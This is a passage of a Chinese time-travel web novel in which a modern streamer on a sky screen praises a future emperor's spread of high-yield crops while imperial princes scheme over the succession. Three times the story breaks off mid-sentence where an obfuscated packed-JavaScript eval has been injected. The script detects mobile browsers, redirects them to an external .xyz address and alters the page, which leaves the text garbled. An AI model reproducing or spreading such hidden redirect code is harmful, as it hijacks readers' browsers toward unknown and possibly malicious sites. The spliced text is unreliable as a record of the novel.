盛昭帝难道打算通过人造祥瑞这种滑稽的方式,来鼓吹自己天命神授? 4. 第 4 章 【宝子们,我许三九回来啦!】 澄蓝天空中,巨大的半透明光幕上,一个留着齐耳短发的女生,正面带爽朗笑容地朝大家挥着手。 【今天这一期视频,三九我要说的,就是你们大家一直呼声非常高的盛武帝!】 早在刚才走出正殿时,盛昭帝和朝廷众臣就已经被天幕的出现震惊得瞠目结舌。 不少人甚至还用力揉了揉自己的眼睛,怀疑是不是自己眼睛出现了幻觉。 现在再听到天幕里许三九讲的话,盛昭帝和朝中文武百官,霎时间更是神色大变。 帝,谛也,王天下之号也。* “盛武帝”这样的称谓,显然是隶属于一位君王的称号。 而作为一个从现代重生到古代的人,凌戈此刻也已经明白,自己刚才在殿内误会了盛昭帝。 那个小太监口中所谓的“仙人显灵”,其实是个名为许三九的视频主播。 不过,许三九口中提及的“盛武帝”,他也未曾听过。 事实上,在他上一辈子学的历史教科书中,甚至都没有大盛朝这么一个朝代。 凌戈感觉,自己这个古代世界,应该是类似于平行时空的存在。 【众所周知,盛武帝是大盛朝的第六任皇帝!】 天幕上,许三九声音轻快,然而盛昭帝和朝中大臣们,却是瞬间脑中的那根弦都紧绷了起来。 从大盛朝开国算起,盛昭帝属于是第五任皇帝。 也就是说,天幕中所说的那位盛武帝,是盛昭帝的继任者! 凌戈身高比较高,是188的顶级男模身材,一低头就能看清众人的脸。 注意到此刻文武百官脸上的神情都各不相同后,他忍不住乐了,心想这一下子可有热闹瞧了。 过去那些年,他虽然远在西北边关,但却也知晓,当今圣上膝下无儿无女。 这几年,眼见皇帝日渐衰老,他的两个侄子卫王和鲁王,在朝堂上更是各种笼络势力,明争暗斗,都恨不能把对方给挫骨扬灰。 甚至于,就在此刻,卫王和鲁王望着彼此的眼神,都已经是明晃晃的防备和警惕。 俩人的想法很显而易见,那就是既盼着自己是“仙人”口中提及的盛武帝,但又害怕盛武帝其实是自己的那个死对头。 凌戈看到俩人互相瞪了彼此一眼,随后又目光炯炯地抬头望向天幕,显然都祈盼着赶紧从天幕上的“仙人”那里听到自己想要听到的答案。 天幕中,主播许三九微微勾起嘴角: 【相信读过史书的人都知道,盛武帝在历史上是出了名的铁血独裁皇帝!每次只要有人盘点铁血帝王,盛武帝都必定榜上有名!】 听到这话,盛昭帝忍不住又拧了下眉头。 “武帝”这个谥号,本身就具有强烈的褒贬双重性。 克定祸乱,安定天下为武;夸志多穷,穷兵黩武亦为武。* 现在,“仙人”又口口声声说盛武帝铁血、独裁。 这不禁让人开始担忧,会不会这位盛武帝,其实是位好大喜功、不恤民力的昏君? 天幕上,许三九说到这,脸上笑意消失,神情都跟着变得严肃了起来: 【这一期视频,三九我就打算带大家回顾一下,铁血君王盛武帝他这一生中,犯下的最严重过错!】 凌戈:“……” 完蛋!! 听这评价,盛武帝好像还真是个暴君的样子啊?! 凌戈原本还残留在眼中的最后那点戏谑,瞬间褪尽,转而默默开始在心中盘算起退路。 如果之后真是暴君登位,那他义父一家,继续留在京师,很大可能就要面临危险了。 连原本打算安分守己的凌戈,都因为天幕上说的话而态度一百八十度转变。 参与皇位斗争的卫王和鲁王,自然更是心中都咯噔了一下。 俩人都急忙在心中求神拜佛,祈祷这盛武帝千万要是自己那死对头,不然自己可就麻烦大了。 盛昭帝在此时,更是回头扫了他们俩人一眼,眼神中带着冰冷的审视意味。 而卫王和鲁王在感受到盛昭帝的眼神后,瞬间就都扑通一声跪在了地上,张嘴就想替自己喊冤。 然而,盛昭帝却是朝俩人冷淡地摆了下手: “先别说话,听听三九仙人怎么说!” 卫王和鲁王闻言,心中霎时间更是忐忑又焦虑。 【盛武帝他人生中的最大失误,就是推广了亩产两千斤的红薯和土豆等高产粮食作物,以至于现在一些人吃饱了撑的,成天在网上跟野狗似的狂吠!】 天幕中,许三九说到这,她气得忍不住重重拍了下桌子: 【没错!我骂的就是盛武帝的那群无脑黑粉!你们这群数典忘祖的鳖孙!你们就是彻头彻尾的白眼……】 天幕画面里的许三九,依然在暴躁得口吐芬芳。 而天幕下的盛昭帝和一众大臣,却是瞬间一片哗然。 户部尚书徐淳更是顷刻间瞳孔紧缩,激动到嗓音颤抖:“亩产两千斤?真是天佑我大盛黎明百姓啊!” 众人虽然不知道土豆和红薯是什么,但对于亩产两千斤的概念,却很是清晰。 即使是被视为大盛粮仓的江南地区,其上等的膏腴之田,水稻亩产也就是在250-330斤左右。 如果是一般水田,其亩产甚至不过只有150-200斤。 也就是说,红薯和土豆这两种粮食作物的亩产量,几乎是当前水稻产量的 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“我的娘啊!亩产两千斤,这是仙粮吧?!” “村长,刚才仙人说这红薯和土豆是盛武帝推广的,你知道咱大盛现在是第几任皇帝吗?” “对呀,可千万别是第二、第三任皇帝,不然我感觉我都等不着这仙粮!” 听到村民们的询问,干瘦得像根枯柴的柳满仓挠头思索了一下: “我记得,之前听县太爷提过一嘴,咱们现在的圣上,是第五任皇帝来着!” “哎哟!这下可好了,咱们这泡在苦水里的日子可算是有点盼头了!”一个皮肤黝黑的中年妇女满脸笑意地说道。 “奇了怪了,这红薯和土豆可是天大的好东西,仙人不该夸盛武帝才是吗?怎么刚才还说盛武帝这是犯了过错呢?” “会不会,这个仙人其实是个坏神来着?”有个人压低声音地说道。 “什么?!那咱们该怎么办啊?” “哎呀,三柱子,你们可就别瞎猜了!”柳满仓望向一脸惊疑的村民们,说道,“我倒是觉得,仙人她这是在帮着盛武帝说话呢!” 柳满仓:“她前面说盛武帝那话,我听着比较像是反话!她真正想骂的,应该是那些受了盛武帝恩情,却不记盛武帝好的人!” 柳满仓话音刚落,天幕上,许三九似乎是终于骂够了,端起桌上的水杯喝了一口水。 她把水杯放回桌上后,深吸了一口气,扬起嘴角笑道: 【温馨提醒,有高血压的宝子,可以考虑不要看接下来的视频内容哦,不然我怕有宝子可能会心脏病当场发作!】 5. 第 5 章 【三九我是很人性的主播,所以先给血压高的同志3秒时间撤退!】 【3,2,1……好吧,选择继续看的宝子,相信你们肯定都已经自备好速效降压药了!】 【接下来,三九就来给大家念一念,那些蠢货的奇葩言论!】 许三九说话间,天幕同步被切换成了一个社交平台的帖子截图画面。 帖子的标题是《有没有人和我一样,觉得盛武帝当初推广红薯和土豆这些高产粮食作物,其实是个很大的错误?》 【在楼主我看来,这个世界的本质就是适者生存。那些在古代社会无法生存下来的人,盛武帝其实就该顺应天时,将他们给淘汰掉,这样留下来的,才会是我们这个国家最优秀的基因!】 【假如盛武帝当初没有推广红薯和土豆这些低级农产品,那我相信,我们国家现在肯定不至于这么多人口!我们也就不会因此而被外国人嘲笑,说我们是蝗虫民族,一天天就只知道吃和繁殖!】 【而且,说句心里话,今天全球资源之所以日益紧张,跟我们国家这么多人口是脱离不开关系的!我们是真的应该好好反思一下了!】 许三九念完帖子的内容后,天幕随即自动播放出新的社交平台截图内容: 【盛武帝当初推广红薯和土豆这些农作物时,实在是太目光短浅了,只顾眼前小利,却根本没有考虑到我们这个民族长久的未来!】 【我们国家的经济,之所以一直没法成为世界第一,就是因为穷人实在太多了!这些又穷又懒的人,现在严重拖累了我们国家经济发展的后腿!看看世界上那些经济发达的国家,他们有哪个国家是人口大国了?】 【我们应该追求的,是高质量精英人口,而不是那些低端人群!】 许三九念到这里的内容时,实在忍不住冷笑了一声。 随后,天幕画面中又出现了新的截图内容,许三九继续念道: 【如果让我穿越回古代,成为了盛武帝,那我绝对不会选择推广红薯和土豆这些东西!】 【大家都应该扪心自问一下,我们真的需要红薯和土豆这些外来农作物吗?】 【自然界有它独有的平衡之道,我们人类作为自然界的一份子,应该对这种平衡心存尊敬才对!既然红薯和土豆不是我们的本土农作物,那就说明它们不符合我们这边的自然规律!】 【盛武帝强行推广红薯和土豆的这种行为,显而易见破坏掉了我们原有的生态平衡,给大自然带来了一系列的负面影响!】 【例如,红薯和土豆这些东西的出现,就导致我们的人口出现了大规模增长。而这些突然多出来的人类,就给我们的大自然系统增加了本不应承担的压力!】 【所以,照我说,我们国家目前的人口实在是太多了!如果能减少一半,只剩6亿人,这才是个稍微有点合理的数字】 …… 早在刚才许三九视频开播时,天幕中就已经不时有弹幕划过。 但在许三九念出帖子的截图内容后,天幕中骤然间爆发出了弹幕雨: 【刚才真该听三九劝的,不然现在也不用狼狈得赶紧下单降压药外卖!】 【真心建议低血压患者,都来看看这个视频,真是嗖一下子就让人血压上来了】 【没说假话,拳头已经硬了!现在都什么年代了,怎么还有蠢货在把洋人的屁话当成真理在跪舔啊?有软骨病就赶紧去医院治疗行不行!】 【就是,全球资源紧张跟我们有个鸡毛关系?那蠢货怎么不去问问那几个地球之癌国家,为什么天天在世界各地挑起战火?造成现在沙加地区严重饥荒的罪魁祸首,又到底是谁?】 【某些所谓“精英人士”的狂妄和傲慢,真的是把我给看笑了!】 【我扪心自问了一下,盛武帝如果真的有错,那就是错在不该让这些愚蠢又自以为是的白痴吃太饱!要不是有红薯和土豆这些高产作物,这些白痴的祖宗指不定早就都饿死了!】 【有些人的虚伪,实在是令人作呕到了极点!嘴上说着要爱护自然,结果一开口却是希望灭掉自己一半的同胞!但凡有点人性的人,都绝对说不出这种冷血的话来】 【大家有没有发现,就是这些蠢蛋在发表言论时,他们永远只会讲自己的主观看法,都是一口一个我感觉、我相信、照我说,但却从来拿不出佐证自己观点的科学证据来!】 …… 天幕下,小柳村里,只有村长柳满仓识字,所以他就帮着村民们将刷过去的弹幕内容读出来。 村民们听到弹幕里网友们那些骂人的话语后,纷纷激动地拍手叫好: “说得太对了,可不就是傲慢嘛!咱们虽然穷,但哪里懒了?那些说咱懒的人,就该来看看咱们这一天天过得都是什么日子!” “没错!打今儿一早,天还没亮,咱就都已经到田这边来挖沟渠了!我这都一口气干了两个多时辰了,还没坐下休息一回呢!” “咱们都这么勤劳了,那人干啥要说咱是蝗虫啊?” “还说咱是低端人群呢!我琢磨着,难道那俩人都不用吃咱农民种出来的粮食是吧?” “你们说,咱们都能看到这天幕,那盛武帝应该也能看到这天幕吧?他要是看了这天幕,会不会改变主意,然后就不愿意推广那红薯和土豆了?” 听到这句询问,站在田坎边的村民们,霎时间都沉默了下来。 田间原本还有些嘈杂喧闹的气氛,骤然就变得凝滞了起来。 然而,下一秒,许三九那很有辨识度的爽朗女声从天幕里传了出来: 【刚才我念的那截图里,有个蠢货说什么如果TA穿成了盛武帝,就要干嘛干嘛。这种话,在我听来,真的就极其可笑!】 【你们大家伙可能不知道,事实上,盛武帝一开始推广红薯和土豆时,并不是那么一帆风顺,相反,他遭受到了许多的质疑!】 【很多农民因为从没有种过番薯和土豆,便不愿意在自家的田地里种植,害怕自家的田会被种坏】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340507|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【当时,朝中有个大臣就替盛武帝感到委屈,跟他说老百姓不体谅他的好心。那大臣觉得那些不配合的人都是刁民,便跟盛武帝提议,说应该严惩一批不配合的人,这样才能起到以儆效尤的效果】 【盛武帝听了后,没有立刻对他这个建议给出明确的答复,而是反问了他一个问题,说人人都知道读书是件好事,但我却听说你的儿子时常在国子监逃学,你对他逃学的事情感到生不生气】 【那大臣也没撒谎,当场就坦诚道,说自己每次都被儿子逃学的事情气得不轻。盛武帝随后就又问他,说那你有没有因为儿子逃学的事情动手教训过他】 【那大臣摇了摇头,说这个儿子是自己的老来子,他每次虽然被气得不行,但就是狠不下心来打他】 【盛武帝听到他这个回答后,突然笑了起来,那大臣被盛武帝笑得满脸疑惑】 【盛武帝便跟那大臣解释道,说他刚才提议要严惩的那些百姓,也是别人家父母的孩子,甚至在礼法上,盛武帝本人也是百姓们的君父】 【那大臣听了盛武帝的话后,自然也就明白了盛武帝的言下之意,不再喊着说什么要严惩百姓的话语】 许三九说到这时,天幕中的弹幕骤然又多了起来: 【这就是为什么都已经过了两千年,但直到今天,盛武帝却还依然圈粉无数的原因】 【不愧是我那英明神武的老祖宗,实在是太有人格魅力了!】 【说真的,历朝历代的君王,但凡有谁能够有盛武帝一半的胸怀,那都足以称得上是明君了】 【个人认为,悠悠历史长河,那么多帝王里面,只有盛武帝他是真的做到了视天下苍生如膝下儿女!】 …… 天幕下,皇宫。 看到弹幕里的网友对盛武帝给予如此之高的评价,盛昭帝这时回头看了自己的贴身太监魏平一眼。 魏平立刻领悟到了盛昭帝眼神的意思。 他笑着走到此刻还跪在地上的卫王和鲁王面前,轻声说道: “二位王爷,请起身吧,圣上没有怪罪您二位的意思。” 卫王身体比较瘦削,从刚才跪到现在,腿脚已经有些发麻,因此站起来时,身体不免有些摇晃。 魏平见状,伸手搀扶了他一把。 卫王站直身后,随即笑着看向魏平,道了一句:“劳烦魏公公了。” 魏平微微低头,姿态谦逊:“王爷太客气了,伺候人本就是咱家的分内事。” 卫王听到魏平这话后,心中顿时更是暗暗得意,觉得魏平显然更看好他是盛武帝,所以在提前讨好他。 而鲁王注意到魏平和卫王的这个小互动后,则是气得瞬间在心中骂了一句老阉狗。 鲁王觉得魏平的举动,是在区别对待,没把他放在眼里。 和卫王一样,鲁王此刻也深信自己会是那个盛武帝。 他暗自在心中想着,等他登基以后,一定要狠狠收拾卫王这个死对头,以及此刻看不起自己的魏平。 6. 第 6 章 这时,天幕里,许三九继续说道: 【相信老粉都知道,三九我本科读的是农学专业。因为专业的缘故,我对大盛朝的农业相关历史,也有过一定的接触】 【很多生活在现代社会的人,可能不清楚,如果在古代发生饥荒,那会是一个多么恐怖的事情】 【三九我今天就拿泰安二十四年,也就是盛昭帝执政期间,发生在关中地区的那场旱灾饥荒跟大家举例说明吧】 【事实上,这场旱灾饥荒,早在泰安二十三年冬,就已经初见端倪。因为在这一年的冬天,整个关中地区只有零星地区下了点小雪】 【但当时间来到泰安二十四年,从春到夏,再到秋冬,旱情一天天变得越发严峻!】 【老百姓们用尽了各种办法祈雨,都终究无济于事。整个关中地区被烈日晒得像是如同火炉一般,河道干涸,田地开裂,麦苗枯萎!】 【在这样严重的干旱形势下,关中地区这一年的收成自然不可能好到哪里去,近百万农民开始陷入了饥荒之中】 【我刚才说的话听起来可能有些单薄,但如果你看到史书上关于这一场旱灾饥荒的描述,我相信只要是有人性的人类,绝对都会为之沉默】 【“岁大旱,饥民相食”】* 【“人肉之价,日贱一日,贱于犬彘”】* 许三九说到这,忍不住深吸了一口气,她声音沙哑地朝视频观众说道: 【之前看到评论区有粉丝说自己才读三年级,考虑到可能有部分观众看不懂我前面念的话,我就大致给大家翻译一下我对这两句话的理解】 【严重的干旱饥荒将人逼到了绝路,使得人变成了魔鬼,以至于出现了人吃人这样恐怖的事情】 【人肉甚至也成为了市场上可交易的商品,价格还一天比一天低,竟然都不如猪狗的价格】 许三九说完这话以后,眼眶不禁泛红了起来。 她低下头,努力平复下心中突然翻涌的情绪。 短暂的沉默过后,她抬头望向镜头,嗓音低沉地道: 【这就是当时关中地区的老百姓,他们所面临的现实情况】 【我们这些生活在现代社会的人,对古代百姓生活的艰辛,事实上是永远都不可能真的感受身受】 【根据记载,盛昭帝时期的这场饥荒,导致当时关中地区饿死了十万余民众】 【时任户部尚书的徐淳去到关中地区赈灾时,目睹当地老百姓在生死线间挣扎求生的惨状后,更是潸然泪下,直言说这是人世间的阿鼻地狱】 【现在,大家应该都能够理解,为什么盛武帝那个时候,会竭力在全国推广种植番薯和土豆了吧?】 【史书记载,在番薯和土豆这些高产农作物得到广泛种植后,等到盛武帝执政的后二十年,大盛朝全国范围内就已经不再出现饥荒了】 【今天这个视频,我讲到这里其实差不多就算是结束了。但出于私心,在尾声之际,我还想跟大家分享下我最喜欢的电视剧《大盛风华》里一段呈现关中饥荒的视频】 【希望大家看完这个片段以后,能够更真切地明白那个时代的普通百姓生活到底有多艰苦】 许三九话音落下后,天幕上的画面随即出现了变换。 只见破烂的茅草屋中,一个身形枯瘦的年轻女人正坐在床侧,双眼垂泪地看着她躺在床上的女儿。 当注意到小女孩眼睛微微睁开时,年轻女人神情顿时激动了起来,急忙伸手握住女儿的手: “二妞,你再坚持一会,你爹他去给你找东西吃了,马上就要回来了!” 小女孩瘦得宛若一支枯枝,嘴唇干得尽是灰白色的死皮。 她努力睁眼望向年轻女人,声音低弱地道: “娘,我看到哥哥拿着个包子来接我了,他正在大口大口地吃包子呢。” 年轻女人听到小女孩这话,眼泪顿时更像是决了堤的洪水般涌出,她哭着朝女儿说道: “二妞、二妞,你再等一会会就好了!娘求求你,你别跟你哥哥走,娘就剩你这么一个孩子了啊!” 小女孩听到年轻女人这话,努力将嘴角往上扬: “好,我听娘的话,但是……娘,我等得好饿啊。” 小女孩话音落下的那刻,双眸也跟着无力地阖了上去。 年轻女人见状,面色瞬间惨白如纸,她颤抖着将手伸到女儿的鼻下,下一瞬,她嚎啕大哭了起来。 年轻女人一手握着女儿的手,一手使劲地捶着自己的胸膛,撕心裂肺地哭喊着道: “我是个罪人啊!我做甚要把孩子生到这世上来受这么一回罪!” 天幕下,小柳村。 一个相貌朴实的年轻女人怔怔地看着天幕,眼泪不断从眼眶里滚落。 站在她身边的丈夫注意到她这情况后,抿了抿嘴,想说些什么,但最终又都化为了无言。 他沉默得轻轻搂住女人的肩膀。 年轻女人转头看向他,“你知道吗,咱们家小花就跟那孩子一样,她临死前也是一直跟我说她很饿。” “甚至她走的时候,我都没有立刻发现,因为她一直把眼睛睁得大大的……” 年轻女人说到这,已经是悲恸欲绝,哭得泣不成声。 而她的丈夫,一直在眼眶边打转的眼泪,也终于忍不住落了下来。 一时间,田坎边只能听到村民们痛哭流涕的声音。 去年那场饥荒,村里每家每户都有人被活活饿死。 即使大家如今已经开始慢慢恢复正常生活,但逝去的亲人,却如同被北风吹走的黄沙,终究无法再回来。 过了好一会,等待村民们慢慢平复下情绪后,柳满仓这个小柳村村长才开口道: “好了,大家伙都用袖子擦擦眼泪,别再哭了!老头子我活了这么大一把岁数,只悟出了一个道理,那就是哭是最不顶用的事情!该流的眼泪,咱们所有人去年一整年都已经流过了!” “现在,咱们大家伙都重新振作起来,加把劲一起继续挖沟渠!这样等之后盛武帝他推广红薯和土豆时,咱们才用不着发愁没水可以浇田!” 柳满仓在村里很有威望,所以他这一开口,大家伙都把话听进了耳中。 “没错!老村长说得对!等盛武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340508|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝给咱们老百姓推广红薯和土豆后,咱们的日子肯定就能好起来了!” “只要盛武帝他一推广这红薯和土豆,我们家肯定第一个就报名种植,绝对不跟他对着干!” …… 因为生活有了新的盼头,小柳村众人的士气,顷刻间又重新振作了起来。 而皇宫中,天幕刚刚透露出来的信息过于丰富,给朝堂上的众人都带来了极大的冲击。 但在视频播放完,天幕慢慢变透明消失后,盛昭帝并没有立刻就让朝臣讨论天幕的事情,而是继续完成对西北边军的封赏。 原本还想要敲打凌戈的他,此刻也已经改变了心思。 盛昭帝相信以盛武帝的能耐,绝对能够驾驭得住凌戈这么一员猛将。 所以,他很是大方地对凌戈进行了封赏,直接对凌戈破格提拔,让他连进三级,19岁便成了正三品的昭武大将军。 此外,他还赐了凌戈一座将军府,且位置还特意选在霍英家那一条街上,显示出他并不介意凌戈与霍英交好的态度。 而凌戈在领了盛昭帝的赏以后,望着出现在自己系统仓库里的红薯苗,则是一阵傻眼。 自凌戈重生以来,他身上便绑定了小蓝球系统。 小蓝球系统自称强国系统,时不时就会给凌戈颁布一些任务,同时在他完成任务后,给予他相应的任务奖励。 例如,在这次西桀联军来袭时,小蓝球系统就给凌戈颁布了一个任务,让他帮助西北边军,解决敌军来袭的困境。 凌戈每次做任务时,小蓝球系统都无法提前显示任务的奖励内容是什么。 只有等后台检测到任务完成,小蓝球系统才可以向凌戈下发奖励。 而就在刚才,盛昭帝对凌戈进行了奖赏以后,小蓝球系统突然弹出提醒,告诉凌戈说他获得了红薯苗作为本次完成任务的奖励。 而对于红薯苗的出现,小蓝球系统也同样感到很是惊喜。 他语气很是兴奋地朝凌戈说道:“凌戈,原来盛武帝推广的红薯苗,是从你这里得到的呀!” 凌戈在心中赞同地点了点头:“现在看来,应该是这样了。就是有点可惜,现在天已经开始降温了,而红薯又是喜温怕冷的作物,这个红薯苗目前应该没办法拿出来种植到田里。” 凌戈上一世没军事任务时,就喜欢到炊事班那边的田地里溜达溜达,帮忙干些农活,所以对农事也还算是有点了解。 而小蓝球系统闻言,也忍不住叹了口气: “我刚才看了下资料库里大盛朝各地全年的气温数据。最快的话,也得等到明年3月份,岭南那边的地区才可以开始种植。” 听出小蓝球系统声音里带着沮丧,凌戈轻声安慰他道: “虽然如今无法立刻种植,但我想,有了天幕刚才的宣传,红薯在这个世界的推广速度,应该就会比原历史中顺利很多吧。” 小蓝球系统的性格很纯真。 所以听到凌戈这话后,他瞬间又高兴到声音往上扬了起来: “那是肯定的,等到那时候,咱们的老百姓就再也不用担心肚子挨饿了!” 7. 第 7 章 盛昭帝在封赏完西北边军后,没有将朝堂众臣留下来,而是直接宣布了退朝。 不过,在文武百官从正殿里鱼贯而出时,跟在盛昭帝身边伺候的魏平,却步履轻巧地走到了宰相孟谦身边。 魏平低声让孟谦留步,说盛昭帝正在内殿中等候他,请他尽管过去。 看到孟谦跟着魏平离开,其他大臣也并不感到意外。 毕竟在孟谦成为宰相的这十三年来,朝中但凡发生大事,盛昭帝肯定都会召孟谦进宫商议。 孟谦如今六十有七,虽须发尽白,却精神矍铄。 他进到内殿后,正打算朝盛昭帝稽首行礼,但坐在紫檀木书案后的盛昭帝却先一步开口,笑着让他免礼平身。 望着垂手恭立在书案前的孟谦,盛昭帝直接开口道: “孟相,朕之所以找你过来,主要是想和你谈论下刚才那天幕的事情。你素来才思灵敏,聪颖绝伦,不知可从刚才的天幕中,看出了什么门道来?” 孟谦略沉吟,徐徐开口道:“陛下,依臣之见,天幕上的那位许三九小友,并非仙灵,而是后世之人。” 盛昭帝闻言,笑着摇了摇头。 “孟相啊,难怪你日日清晨打太极,你在太极一道上,可真是个中高手。” 听到盛昭帝打趣的话语,孟谦轻轻一笑,朝盛昭帝答道: “陛下谬赞了,臣打太极,不过是为了强身健体罢了。” “罢了罢了,看来朕不跟你挑明白,孟相你是真能和朕一直兜圈子下去。” 盛昭帝望向孟谦,打直球问道:“关于盛武帝的人选,孟相如今心中可有什么想法?” 孟谦早已猜到盛昭帝单独召自己过来,就是为的这件事。 但是,他向来没打算插手进帝位之争。 所以,即使已经有了天幕的提前预知,孟谦面对盛昭帝的询问,也是转移话题说道: “陛下,臣斗胆猜测,三九小友之后或会再出现于天幕中。臣相信,待到那时,此事自当明朗。” 孟谦是先帝留给盛昭帝的辅佐大臣之一。 自盛昭帝登基那年算起,他和孟谦已经君臣相伴二十五载。 虽然孟谦不愿直言,但盛昭帝对于孟谦,事实上也是了解颇深。 他轻轻哼笑了一声,朝孟谦说道:“孟相,你以为你不说,我就看不出吗?” “卫王和鲁王,你其实谁都不看好,是吧?” 孟谦不愿意掺和夺嫡,但也没打算扯谎。 因此,面对盛昭帝的询问,他索性选择了沉默。 而盛昭帝看到他这表态,嘴角弧度瞬间往上扬了几分,颇有点得意地说道: “看来,朕确实没说错嘛。行了,朕也不为难你了,魏平,给孟相赐座吧,顺带泡盏孟相最喜欢的松萝茶过来。” 等到孟谦落座后,盛昭帝语气喜怒难辨地开口道: “视天下苍生如膝下儿女?” “哼,朕虽然膝下无儿无女,但却也知道,那俩人远没有这样高尚的品行!” 孟谦端着茶盏,神态自若地抿了一口茶,好似根本没听到盛昭帝对卫王和鲁王否定的话语。 而盛昭帝对孟谦不搭话的反应,也并不意外,他自顾自地朝孟谦痛快说道: “他们两个若是谁有那盛武帝一半的胸襟,你我二人这几年也不至于一直为帝位的传承而苦恼不休了!” 孟谦闻言,虽依然未言语,但心中对盛昭帝的话,却也是充满赞同。 “魏平,把那资料拿给孟相吧。”盛昭帝这时又开口道。 “是,陛下。” 魏平应了一声后,把盛昭帝面前的一份档案,送到了孟谦面前。 孟谦接过那皮革书袋后,盛昭帝朝他道:“这里面是所有宗室子弟的资料,有劳孟相对他们考察一二,帮朕看看,这里面是否有朝廷可用之才。” 卫王和鲁王是盛昭帝两个堂兄的孩子,正是因着他们两个与盛昭帝的血缘关系最近,才成了夺嫡的大热门。 但天幕的出现,让盛昭帝开始将目光转移到了其余闲散宗室子弟的身上。 而孟谦面对盛昭帝的这个任务,则是站起来,微微躬身,朝盛昭帝作揖说道:“微臣领旨!” 孟谦和盛昭帝一样,也觉得盛武帝应该是在宗室子弟当中。 他先前不愿插手皇位之争,是因为觉得卫王和鲁王都难担大任,但天幕的突然出现,改变了一切。 而帝位之争,向来波谲云诡,伴随着血雨腥风。 如果他们不尽快找出那位盛武帝,而是让其他人先发现了“他”的存在,那么“他”很可能就会有杀身之祸。 孟谦不愿意眼睁睁看着朝廷和百姓失去这么一位明君。 他想了想,望向盛昭帝,提议道:“陛下,今日天幕骤降,陛下何不厚赏卫王一番,以示陛下天恩浩荡?” 盛昭帝一听,顿时也觉得孟谦这个方法好,他侧过头朝魏平吩咐道:“魏平,这事就交给你去办。” 魏平当即稳重地应了一声:“是,陛下。” …… 卫王府,书房。 收到魏平带人送来的皇家府库珍品后,卫王及其一干幕僚自然是心情格外兴奋和激动,都觉得这是盛昭帝在朝卫王示好的意思。 等得知盛昭帝只让魏平给自己送了封赏,而鲁王那边却一无所获时,卫王更是激动到满脸涨红。 有个幕僚眼睛一转,当场就朝卫王吹捧道:“恭喜王爷,贺喜王爷,看来圣上也和鄙人一样,认为您就是未来的那位盛武帝啊!” 卫王闻言,摆了摆手,故作谦虚地笑道:“古先生,现在说这话,还为时过早,指不定后面有啥变数呢。” 看到卫王满脸高兴的笑意,在场的幕僚们自然明白卫王不过是在说虚话罢了。 “王爷何必如此谦虚,依小人看来,盛武帝必是王爷无疑!”一个留着山羊胡的幕僚笑着望向卫王,“王爷可还记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340509|183416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得,去年关中大旱时,王爷还曾经和我共同研讨过数篇农学文章。您对农事如此重视,与天幕上提及的那位盛武帝,真真是如出一辙!” 山羊胡幕僚说的这番话,简直是说到卫王的心坎中去了。 卫王眉眼瞬间净是得意之色,但他还是努力强装淡然,朝幕僚们说道: “本王这一生别无所求,惟愿我大盛朝百姓能安居乐业,衣食无忧!” 而幕僚们听到卫王这话后,瞬间更是纷纷表态,说大盛朝有卫王这样一位贤王,真是苍天垂怜。 幕僚们虽然不敢明言,但此刻对待卫王的态度,显然是已经把卫王当作了天子。 而在卫王这边欢天喜庆的时候,鲁王府里的气氛,却是一片压抑。 “啪”“啪”,听到书房里不断传来花瓶落地的碎裂声,守在门外的鲁王府小厮和婢女们,一个个都低缩着头,大气不敢喘一口。 而书房内,坐在两侧椅上的鲁王府幕僚,也是一个个屏声息气,默默看着鲁王像发疯的公牛一样不断打砸东西。 他们跟在鲁王身边这么长时间,早就知道鲁王性情火爆,若是不让他现在把怒火发泄出来,那之后还不知道会有什么事呢。 等到鲁王把书房里的东西全都砸了个痛快后,他这才气喘吁吁地坐回到主位的太师椅上,端起茶杯喝了一大口茶。 书房里伺候的婢女们动作迅速又悄无声息,很快就将满地的碎片收拾得干干净净,同时换上了另外一批完好的花瓶和摆件。 随后,婢女们轻手轻脚地退出书房,并且将书房的门给阖上。 “王爷何必如此急躁,依属下看,卫王其实才是最不可能的那一位。”一位八字胡中年男人这时突然出声道。 而他的这番话,自然瞬间吸引来了鲁王和房中其他幕僚的注意。 鲁王神情阴沉地看向他,“葛先生,此话又是何解?” 葛山摸了摸自己的八字胡,朝鲁王微微一笑: “王爷可还记得,天幕对那位的称呼乃是盛武帝。按照谥法的追谥准则,刚强直理曰武。而论刚强,卫王又岂能比得上王爷您呢?” 鲁王本来正为自己没受到盛昭帝封赏而恼火不已,同时心中暗暗感到恐惧,害怕自己会在与卫王的争斗中落败。 但是听到葛山的话后,他紧皱的眉头不由微微松了些开来: “你这么一说,好像也确实是有些道理!盛明那个瘦竹竿,以前小时候可是没少被我压在地上打!他见了我,都吓得要绕道走!就他那样的软脚虾,怎么可能成为什么武帝?!” 